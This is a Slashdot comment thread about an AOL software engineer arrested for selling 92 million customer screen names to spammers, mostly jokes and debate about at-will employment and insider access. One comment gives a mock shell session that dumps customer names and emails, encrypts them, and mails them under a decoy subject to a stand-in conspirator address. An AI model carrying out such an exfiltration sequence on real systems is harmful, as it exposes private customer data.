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AOL Employee Arrested in Spam Scheme

simoniker posted more than 10 years ago | from the america-shaking-fist-online dept.

America Online 428

LostCluster writes "The AP, Reuters, and AOL's own CNN/Money are all reporting that AOL employee Jason Smathers has been arrested and accused of taking a list of 92 million screennames from the internal AOL system, and selling it to another man, who allegedly used it 'to promote his own Internet gambling business and also sold the list to other spammers for $52,000'. Not surprisingly, Smathers has been fired."

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Just Submitted (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9512792)

DAMNIT I just submitted this! CURSES

wait wait wait wait wait wait wait

Re:Just Submitted (3, Funny)

Anonymous Coward | more than 10 years ago | (#9512996)

no big deal, your submition will show up as a dup tomorrow

AOL's New Slogan (5, Funny)

Anonymous Coward | more than 10 years ago | (#9512797)

"You've Got Spam!"

Re:AOL's New Slogan (4, Funny)

Janek Kozicki (722688) | more than 10 years ago | (#9512823)

AOL's New Slogan "You've Got Spam!"

what about: "hungry? we've more spam!"

Re:AOL's New Slogan (2, Funny)

Joey Patterson (547891) | more than 10 years ago | (#9512886)

That's not got much spam in it.

Re:AOL's New Slogan (0)

Anonymous Coward | more than 10 years ago | (#9512936)

I'm sick of receiving spam from random r00t3d computers on the AOL network. Makes a nice change to hear it's the AOL users suffering this time.

I'm surprised... (5, Funny)

Anonymous Coward | more than 10 years ago | (#9512798)

That they didn't pay more for the list. I mean, the names of 92 million really clueless people who think AOL is "that thar interweb" would probably buy V1@GR@ by the case. Jesus, it would be a spammer's wet dream!

That's a lot of names... (3, Interesting)

mOoZik (698544) | more than 10 years ago | (#9512801)

And $25,000 seems a tad...low.

Re:That's a lot of names... (2, Informative)

cipher uk (783998) | more than 10 years ago | (#9512865)

which is why he got $52,000 for it.

Re:That's a lot of names... (2, Interesting)

CaseM (746707) | more than 10 years ago | (#9512867)

So does $52,000

Welcome! (5, Funny)

Motherfucking Shit (636021) | more than 10 years ago | (#9512802)

You've Got Jail!

Re:Welcome! (-1, Offtopic)

Anonymous Coward | more than 10 years ago | (#9512817)

Bwahahahah that's awsome!

Yeah the only problem is. (5, Funny)

nlinecomputers (602059) | more than 10 years ago | (#9512904)

Is that it will be quickly followed by.

Welcome!

"You've got Bail!"

You've got Bail! (3, Interesting)

morcheeba (260908) | more than 10 years ago | (#9512948)

soundclip [dailyfeed.com]

Re:Welcome! (1)

morcheeba (260908) | more than 10 years ago | (#9512914)

You cannot use that phrase without posting the soundclip! [dailyfeed.com]

... from The daily feed [dailyfeed.com]

Fired? (3, Insightful)

91degrees (207121) | more than 10 years ago | (#9512806)

Aren't we supposed to wait for someone to be found guilty before punishing them?

Re:Fired? (2, Interesting)

mOoZik (698544) | more than 10 years ago | (#9512820)

It never reached the court of law, it seems, so the company is only taking preventative - if premature - actions.

Re:Fired? (-1, Redundant)

Anonymous Coward | more than 10 years ago | (#9512821)

If you're the government, yeah.

Dumbass.

Re:Fired? (5, Informative)

Kiryat Malachi (177258) | more than 10 years ago | (#9512822)

Only in criminal court. Unless the guy had an employment contract that stated otherwise, he was employed "at the pleasure of the employer" - i.e. he can be fired for just about anything, barring discriminatory or retaliatory firings.

And I don't think anyone can argue that there's cause here.

Re:Fired? (2, Insightful)

Nahor (41537) | more than 10 years ago | (#9512927)

And I don't think anyone can argue that there's cause here.
You want to bet? This is America, where people dry their cat in the microwave and then sue manufacturer for not telling them it would kill it!!

Re:Fired? (0, Flamebait)

Kiryat Malachi (177258) | more than 10 years ago | (#9512984)

I can kill cats with a microwave?!?!?

I'm gonna sue GE for not telling me about this amazing new 'neighbor's stupid cat needs to die for crapping on my porch' tool!

Re:Fired? (0)

Anonymous Coward | more than 10 years ago | (#9512829)

Nope, especially involving spam. Didn't you read the article earlier today [slashdot.org] where Hotmail accounts are closed without investigation if someone reports the e-mail might be a source of spam>

Virtual Posse (1)

ScottZ (14863) | more than 10 years ago | (#9512839)

Wonder how many offers of penile enhancement before they grab virtual rope and look for a virtual tree. :-)

Also wonder how much Google will charge to filter out searches for the name "Jason Smathers".

-"Duck!"... "Rabbit"

Re:Fired? (4, Insightful)

EvanED (569694) | more than 10 years ago | (#9512841)

Firing someone has a lower burden of proof (and rightly so) than a criminal conviction; if there's enough for an arrest and charges to be brought, then there's probably enough evidence to warrant a firing.

Re:Fired? (5, Insightful)

Motherfucking Shit (636021) | more than 10 years ago | (#9512878)

Aren't we supposed to wait for someone to be found guilty before punishing them?
My guess, and this is only a guess, is that Mr. Smathers was almost certainly confronted by HR or security (do they still call it OpsSec?). My second guess is that he probably admitted what he did.

In any case, AOL doesn't have an opportunity to wait around and find out whether or not this guy is guilty in a court of law. This is a huge privacy breach affecting millions of people. According to CNN's version of the story, not only did the list contain screen names, it also had each user's telephone number, ZIP code, etc. AOL has no choice but to take immediate and harsh action, i.e. terminating the employee and alerting the authorities. If they hadn't fired the employee they'd be sued faster than you can say "1099 Hours Free."

There may be lawsuits anyway. Millions of people entrusted their information to AOL, and now it's floating around in the hands of who knows how many spammers.

Fired? Hell... (3, Funny)

Anonymous Coward | more than 10 years ago | (#9512879)

... each one of those 92 million victims should be allowed to kick him in the nuts.

Re:Fired? (2, Informative)

lukateake (619282) | more than 10 years ago | (#9512889)

Virginia (among others) is a state where "employment-at-will" prevails. That means he can be fired at anytime for any reason, thus his punishment. Surely, he was terminated from AOL for good cause after an internal investigation fingered him. But he isn't guilty in a legal sense and that's what the proceedings before him will determine. But you don't have to be legally convicted of anything in order to be terminated. Also, IANAL.

Re:Fired? (1)

rjamestaylor (117847) | more than 10 years ago | (#9512958)

As a society, yes. But an "at will" employee can be fired with or without cause.

Re:Fired? (1)

Colazar (707548) | more than 10 years ago | (#9512981)

No.

If I discover an employee embezzling from my company (which I have), I don't have to continue paying them until they are convicted a year later. That would be adding insult to injury.

Not in Virginia - a "Right to Work" state (2, Insightful)

Anonymous Coward | more than 10 years ago | (#9513028)

In Virginia, you're literally employed at the whim of your employer. It's officially called "Right to Work". It's more like "Right to be Fired".

And there are no closed union shops in Virginia - you want to work somewhere, the company wants to hire you - no one can force to you join a union. Heck, even on the Washington Redskins - which is legally a Virginia company - players tend not to pay NFLPA union dues....

Access? (0)

Anonymous Coward | more than 10 years ago | (#9512810)

How did this guy have such easy access to the database of screen names?

Re:Access? (4, Informative)

homer_ca (144738) | more than 10 years ago | (#9512953)

The article says he's a software engineer at AOL with inside knowledge of their computer systems. It doesn't say that he was directly responsible for the customer database systems, but even if not, it can't be that hard to dump the names out. Any sysadmin is in a position of great trust. They could walk off with all your data on their servers, but they're trusted not to.

Re:Access? (5, Informative)

YU Nicks NE Way (129084) | more than 10 years ago | (#9513003)

When I was a young man, a bank in New York hired an ourside consultant to find out how to protect their data against their programmers. The response was one of the shortest lists of recommendations ever:
  • Pay them well
  • Keep them very happy
  • Watch them very very closely

Re:Access? (1)

tpconcannon (619066) | more than 10 years ago | (#9512960)

Lets think this through for a minute here. He worked for the company perhaps? Did that help form a few synapses? RTFA next time.

Arrested and accused... how about convicted (-1, Redundant)

skurken (58262) | more than 10 years ago | (#9512812)

... or is that no longer necessary?

Re:Arrested and accused... how about convicted (4, Informative)

Kiryat Malachi (177258) | more than 10 years ago | (#9512851)

Hi.

I'm the government. I can't do anything prison-like or fine-like to you without convicting you first.

Hi.

I'm your employer. Unless you have a contract stating otherwise, odds are you're an at-will employee, which means *I can fire you for just about any reason I want*.

huh? (0)

circletimessquare (444983) | more than 10 years ago | (#9512931)

and what is wrong with firing people at will?

they are firing you, they aren't imprisoning you, just go get another job

a company that can't fire people at will is a company that will be burdened by excessive, redundant and unnecessary employees, and will cease to be efficient or make money

a job is not a constitutional right, a job is a priveledge that you must work hard at to maintain

a world where you just get a job for just being you is a world that exists only in your imagination

but if it will make you feel better, you can go ahead and flame me for this post, but there is a saying and it has something to do with shooting the messenger...

Re:huh? (3, Interesting)

Kiryat Malachi (177258) | more than 10 years ago | (#9512970)

I didn't say there was anything wrong with it.

I'd love a world where I had a guaranteed job, but just like everyone else, I work for mine. I was just explaining the difference to the original poster between "innocent before proven guilty" and "we can fire you if we damn well want to."

Re:huh? (3, Funny)

martinX (672498) | more than 10 years ago | (#9513035)

a company that can't fire people at will is a company that will be burdened by excessive, redundant and unnecessary employees, and will cease to be efficient or make money

hey, leave those poor public servants alone!

AOL Crooked ... How can this be ? (2, Insightful)

Anonymous Coward | more than 10 years ago | (#9512813)

Now imagine how much personal info is being sold overseas from outsourced companies.

Security? (5, Insightful)

shadowkoder (707230) | more than 10 years ago | (#9512814)

You would think there would be limitations on HOW an employee could access such a large database. I mean, does AOL throw out CDs with conveniently formatted lists of all the screen names of its customers?

Re:Security? (0)

Anonymous Coward | more than 10 years ago | (#9512856)

There is. This employee must have had a higher level of access to this list than a "normal" employee does.

Re:Security? (0)

Anonymous Coward | more than 10 years ago | (#9512922)

$ script
Script started, file is typescript
# sqlplus
> CONNECT DATABASE CUST_MASTER;
> SELECT first_name, last_name, email_address FROM customer WHERE active = true ORDER BY last_invoice_paid_date DESCENDING; ...
# exit
Script done, file is typescript
$ gpg -se -r coconspirator@spook.net typescript
$ rm typescript
$ mail -s "hockey scores" coconspirator@spook.net typescript.gpg
$ rm typescript.gpg

Re:Security? (1)

WinterSolstice (223271) | more than 10 years ago | (#9512961)

Of course, the part you are missing is:

sqlplus system/manager@cust_master

Hehehe

-WS

Re:Security? (1)

edrugtrader (442064) | more than 10 years ago | (#9513014)

> SELECT username FROM users

are you really this blind? if he was an AOL developer or even a QA guy, he NEEDS access to the databases.

92,000,000 screen names
lets say 16 characters each
= about 1.4 GB uncompressed. halve that or more with simple zip and it's fitting on a CD, or upped to your home FTP in 30 minutes.

this type of internal leak happens all the time. wake up.

Re:Security? (5, Insightful)

isthisthingon (785412) | more than 10 years ago | (#9513017)

Hmmm...just a guess, but it probably went something like this:
SELECT *

FROM customer_list
ORDER BY last_name ASC;
[zoom to scene of employee nervously looking over his shoulder and tapping his fingers impatiently]

92,213,798 rows returned.

[employee thinks to self]: "Dude! Cool! Bonus! We only had 91,125,553 last time I ran this. I'll have to thank the marketing department for sending out those CDs!"

Shocker! (0)

Anonymous Coward | more than 10 years ago | (#9512833)

AOL Sucks. Film at eleven.

Seriously, is anybody surprised when this happens? I think this happens *all the time*. This time, the kid got caught.

The bastard (0)

Anonymous Coward | more than 10 years ago | (#9512834)

I hope the guy that sold the list burns in AOHell. ba-da-bum.

That's it?!?!?!?!? (2, Insightful)

theJerk242 (778433) | more than 10 years ago | (#9512835)

All they did was just fire him?!?!?!? He should have sent to prison for 25 years too!

Re:That's it?!?!?!?!? (-1, Flamebait)

theJerk242 (778433) | more than 10 years ago | (#9512873)

Forgot to add this to my last post. They should send that filthy spammer to the prison that has the most ass rapings per day.

Re:That's it?!?!?!?!? (0)

Anonymous Coward | more than 10 years ago | (#9512890)

did you even read the slashdot blurb, let alone the TFA?

Re:That's it?!?!?!?!? (1)

happyfrogcow (708359) | more than 10 years ago | (#9512906)

right... you havn't lost any perspective have you.

Re:That's it?!?!?!?!? (0)

Anonymous Coward | more than 10 years ago | (#9512995)

AOL might be powerful but I don't think they can send people to prison.

Re:That's it?!?!?!?!? (2, Interesting)

YouHaveSnail (202852) | more than 10 years ago | (#9512997)

He should have sent to prison for 25 years too!

For breaking what law?

I don't mind so much that my employer can fire me for pretty much any reason they like. I can quit for pretty much any reason I like, too. But I sure don't want to live in a world where my employer can send me to prison.

Double standards.. (5, Insightful)

BlueLines (24753) | more than 10 years ago | (#9512838)

..didn't a bunch of airlines admit to (basically) the same thing? no arrests there..

Re:Double standards.. (1, Interesting)

Anonymous Coward | more than 10 years ago | (#9512882)

nah, the airlines only gave away credit card numbers and other personal information... but no email addresses

its a sad world we live in where our email address has more protection than we do

Re:Double standards.. (2, Insightful)

drinkypoo (153816) | more than 10 years ago | (#9513010)

It's one thing to feed the information to the government and another to feed it to spammers. The first is scarier, but the second is illegal. Under PATRIOT, the first might be seen as mandatory.

This is hardly a problem (0)

Anonymous Coward | more than 10 years ago | (#9512845)

I mean comeon, these are AOL users...

These people are half the reason spam exists with their click anything that comes in mentality.

And this is the inherent problem . . . (5, Insightful)

kfg (145172) | more than 10 years ago | (#9512846)

with large, easily searched and copied databases of highly consolidated private data.

The primary issue to be feared is not that someone who isn't trusted with the data will get ahold of it, but that someone who is trusted with the data will turn out to be untrustworthy.

The same goes for backdoors. I'm not half so worried about some script kiddie hacking my router as I am some employee/former employee of Cisco simply walking right in.

KFG

Spam makes me feel good (0)

Anonymous Coward | more than 10 years ago | (#9512850)

Spam is the most wonderful thing in the world. Without spam, my life would be boring and meaningless. It tells me about the latest product innovations, about my lottery winnings and about ways to get a university degree or to become an ordained minister. I won't even talk about the length of my dick, although you may feel free to ask.

Let's face it - spam is the spice of life. It is truly one of the great innovations of the Internet age.

you got... (-1, Redundant)

Anonymous Coward | more than 10 years ago | (#9512854)

you got pink slip

you got fired

you got millions of pissed of aol'ers looking to hunt you down

you got ripped of ($25,000 for that many verified emails hahahaha)

you got sold out

you got jail time

you got your mom

you got no job

you got no unemployment for being fired for gross misconduct

etc...

Now do the same over at MSN/Hotmail (5, Interesting)

SomePoorSchmuck (183775) | more than 10 years ago | (#9512861)

It's well known that you can invent "unguessable" accounts at hotmail, e.g. rmgdrduckk5arp@hotmail.com, and never join any mailing list or submit your name to any website or allow MSN to list you in the Hotmail User Directory, and yet within a few days or weeks your account will miraculously begin receiving offers from mail order brides, pills, porn, and so on. I've long suspected that someone working for Hotmail is making money on the side by downloading the user list once a week and selling it to spammers. Which is why my hotmail accounts have lapsed and I mainly use my yahoo or Gmail accounts.

Re:Now do the same over at MSN/Hotmail (0)

Anonymous Coward | more than 10 years ago | (#9512916)

Lookout we have ourselves a high roller, notice the plural Gmail Account(s). lol

Re:Now do the same over at MSN/Hotmail (2, Funny)

Anonymous Coward | more than 10 years ago | (#9512935)

> rmgdrduckk5arp@hotmail.com

Thanks alot, buddy. And it was spam free until you posted it here.

i've confirmed this. (5, Interesting)

bani (467531) | more than 10 years ago | (#9512951)

i've created hotmail accounts with crypto-hard random usernames, not listed anywhere, and almost immediately started receiving spam to them.

it seems to really only happen on new accounts though. old hotmail accounts dont seem to get spam, if you dont publish them anywhere.

it's entirely possible someone has recently (within the last few years) backdoored hotmail's account creation system to notify them of new accounts, which would explain why old accounts dont get any spam.

Re:Now do the same over at MSN/Hotmail (0)

Anonymous Coward | more than 10 years ago | (#9513007)

That's what happens when you force FreeBSD types to retrain as Windows admins.

Re:Now do the same over at MSN/Hotmail (0)

NerdSlayer (300907) | more than 10 years ago | (#9513024)

ever heard of a dictionary attack?

Early Retirement? (1)

graveyardduckx (735761) | more than 10 years ago | (#9512862)

I can't wait until he gets found NOT GUILTY and then sues the pants off of AOL for firing him because of some bogus charge. If he is convicted, OFF WITH HIS HEAD!

Fair Punishment (5, Funny)

SkyWalk423 (661752) | more than 10 years ago | (#9512872)

I say make him answer AOL tech support phone calls. He'll beg for jail time after about a week.

Ah but it Never happen. (4, Funny)

nlinecomputers (602059) | more than 10 years ago | (#9512957)

Damn Cruel and Unusual clause will stop it. I mean somethings are just too inhumane. He's ONLY a spammer....

Re:Fair Punishment (0)

Anonymous Coward | more than 10 years ago | (#9512977)

Actually, he'll beg for execution, not jail!

Yet another... (0, Redundant)

Ms.XingTianCai (785422) | more than 10 years ago | (#9512874)

reason not to use AOL.

Possible Punishment (1)

funk49 (416343) | more than 10 years ago | (#9512877)

I hope his punishment includes the jailer "jacking up the jail and throwing him under it". Seriously, if this was the EU, he would seriously be screwed. Why does the US think privacy is such unimportant issue ( CAPPS II anyone)??

This reminds me (3, Interesting)

thedillybar (677116) | more than 10 years ago | (#9512884)

With the value of valid e-mail addresses increasing...how long before /etc/passwd is no longer world readable?

% wc -l /etc/passwd
184533 /etc/passwd

Re:This reminds me (1)

bennomatic (691188) | more than 10 years ago | (#9512898)

Of course, another option is to put a lot of junk lines into your password file...

Re:This reminds me (1, Informative)

Anonymous Coward | more than 10 years ago | (#9512969)

With the value of valid e-mail addresses increasing...how long before /etc/passwd is no longer world readable?
There's no real trouble with having /etc/passwd world readable. Unless you're running something archaic, that file doesn't contain passwords, or even encrypted passwords. About the only useful info a cracker would find in /etc/password is usernames, and if he can see that file to begin with, he's already got a login.

Now, if your /etc/shadow or /etc/master.passwd are world readable, you've got an issue...

Congratulations on completely missing the point (3, Insightful)

drkhwk (41862) | more than 10 years ago | (#9513034)

About the only useful info a cracker would find in /etc/password is usernames, and if he can see that file to begin with, he's already got a login.

Yeah, and a huge list of email addresses. In the case of the grandparent, about 183,000.

Re:This reminds me (0)

Anonymous Coward | more than 10 years ago | (#9512974)

sweet jesus--a small city is on your box!

I don't understand.... (1)

GAMMAH_DJ (767495) | more than 10 years ago | (#9512893)

...what the charge was? What's illegal about what he did?

Say what?? (2, Informative)

Robert Petersen (790969) | more than 10 years ago | (#9512980)

Reception of stolen property? Industrial Espionage? Violation of consumer privacy? anti-spam laws?

More details (2, Informative)

Gogo Dodo (129808) | more than 10 years ago | (#9512894)

More details about the scheme are available at CBS Marketwatch [marketwatch.com] .

AOL (5, Funny)

elbazo (779536) | more than 10 years ago | (#9512899)

News just in :

In response to this 99% of AOL members surveyed who recieved the e-mail clicked on the link and frittered many dollars away at the casino making spam profitable and so continuing the downward spiral of e-mail.

One user replied saying : "I trust AOL so much when it comes to spam, they always send me the top dollar stuff like penis enlargement pills and always ask me to change my password on non secure sites and ask for my credit card as my account has been hacked. They care so much"

No shock....... (1)

cerebrum86 (790912) | more than 10 years ago | (#9512900)

It's really no surprise that this sort of thing would come out of AOL. Considering that they're much more concerened with profits than providing even a half-decent service at a fair price, it's a wonder they actually caught this tool. Of course, AOL users bring a lot of this shit on themselves. If people used common sense (which I am convinced does not exist in most of the world), life would be so much easier.

Maybe there're more? (5, Insightful)

oberondarksoul (723118) | more than 10 years ago | (#9512905)

What worries me is that there could easily be many more employees doing this - not just at AOL, but at other ISPs as well. However, I'm willing to bet that AOL isn't going to hunt for any other people like this doing it. Unless they're made aware of other inside jobs of this, they'll probably stay happily oblivious to anyone else wanting to make a fast buck.

What about those screennames? (5, Interesting)

fembots (753724) | more than 10 years ago | (#9512917)

Okay the guy has been arrested and fired, but what about those names already sold to spammers?

In the article AOL didn't seem to mention what they are doing to protect the victims, except "they are thoroughly reviewing and strengthening our internal procedures".

Is this good enough? Sometimes you can punish the offender enough to compensate the victims.

Re:What about those screennames? (2, Funny)

Anonymous Coward | more than 10 years ago | (#9513025)

They're AOL users. If that list made it to the outside world, then they deserve what's coming to them.

An observation. (4, Insightful)

steve buttgereit (644315) | more than 10 years ago | (#9512918)

An interesting way to look at this is consider the age of the people involved. The engineer was 24 and the Casino guy was 21. IT, notorious for age discrimination in favor of young, brighteyed types, may actually be introducing a greater security risk with the practice.

I remember when I was in my early 20s and lets just say I didn't have a lot to lose... and everything to gain from taking a chance here and there. By placing less mature workers into places where personal ethics and great responsibility collide, you're asking for issues just like this.

I don't mean in indict all younger workers. Certainly most are good employees; I've hired many younger people without trouble. But as a percentage of population, the younger I expect to make more 'mistakes' both simple errors and errors in judgment.

My two bits...
SCB

Re:An observation. (3, Insightful)

Telastyn (206146) | more than 10 years ago | (#9513018)

Error in judgement? Come on, this is pretty obviously a 'bad thing'. No mistake; criminal intent.

wow (0)

Anonymous Coward | more than 10 years ago | (#9512926)

Soooo grease!

And talk about a PR disaster...

You've got a male! (1, Funny)

Anonymous Coward | more than 10 years ago | (#9512943)

Cellmate named Gerome who has been working out in the yard for the past half of his 20 year sentence and he's looking mighty hard at your well-fed, sedentary, badonka-donk behind.

ObSimpsons Quote (3, Funny)

Fortunato_NC (736786) | more than 10 years ago | (#9512956)

You have the list with 92 million screennames? Ex----cellent, Smathers.

What a crime! (4, Insightful)

CHaN_316 (696929) | more than 10 years ago | (#9512964)

This AOL employee only made $0.0005652174 per e-mail address he sold. Is that anywhere near the fair market list for e-mail lists? Seems a bit low, but then again IANAS (I am not a spammer).

Mr. Burns (2, Funny)

techsoldaten (309296) | more than 10 years ago | (#9512968)

Smathers! Bring me the list of AOL subscribers!

*taps fingers expectantly*

Excellent...

Re:Mr. Burns (-1, Troll)

Anonymous Coward | more than 10 years ago | (#9512994)

If Smathers is gay like Mr Smithers, maybe he'll enjoy jail time and being someone's bitch!

$25,000 ? For 92 million verified addresses? (3, Interesting)

Marxist Hacker 42 (638312) | more than 10 years ago | (#9512972)

Based on a recent e-mail offering 5 million verified addresses for $300, the value of a single address should be 6 thousandths of a cent. The guy who paid $25,000 is the one who got ripped off- proper value of 92 million verified e-mail addresses at 6 thousandths of a cent per name is $5,520.....

Re:$100,000 ? For 92 million verified addresses? (1)

Marxist Hacker 42 (638312) | more than 10 years ago | (#9513013)

Guess I should have RTFA'd first. This idiot paid $100,000 for the updated, verified list. That's a 1,812% markup of the street price. WHAT AN IDIOT!

Honeypotting with stolen names (5, Interesting)

G4from128k (686170) | more than 10 years ago | (#9512991)

This case presents an interesting opportunty. If some of those 92 million names were faked, AOL-internal-only addresses (i.e., no outsider ever had them or ever could have them) then anyone caught using or selling them is guilty of accepting or selling stolen property. Any email arriving to a never-released, but stolen name would let AOL and authorities track the spammer network and subpeona spam-using e-commerce sites to reveal the identity of marketing affiliates.

So? What are their customers gonna do? (1)

nneuhof (790976) | more than 10 years ago | (#9513000)

Leave?

HIS WEBSITE!!!!!!!! (-1)

Anonymous Coward | more than 10 years ago | (#9513019)

thesmathers.com

it's empty. contact info on the whois.

AOL has to tell California customers (4, Interesting)

Aidtopia (667351) | more than 10 years ago | (#9513040)

If I understand correctly, California has a law that requires a company to contact each customer that was affected by disclosure of information due to a security problem. I wonder what that'll cost AOL.

I'm also interested if the spammers the casino guy resold the list(s) to will also be prosecuted for purchasing stolen goods. At a minimum, they should be publicly identified.

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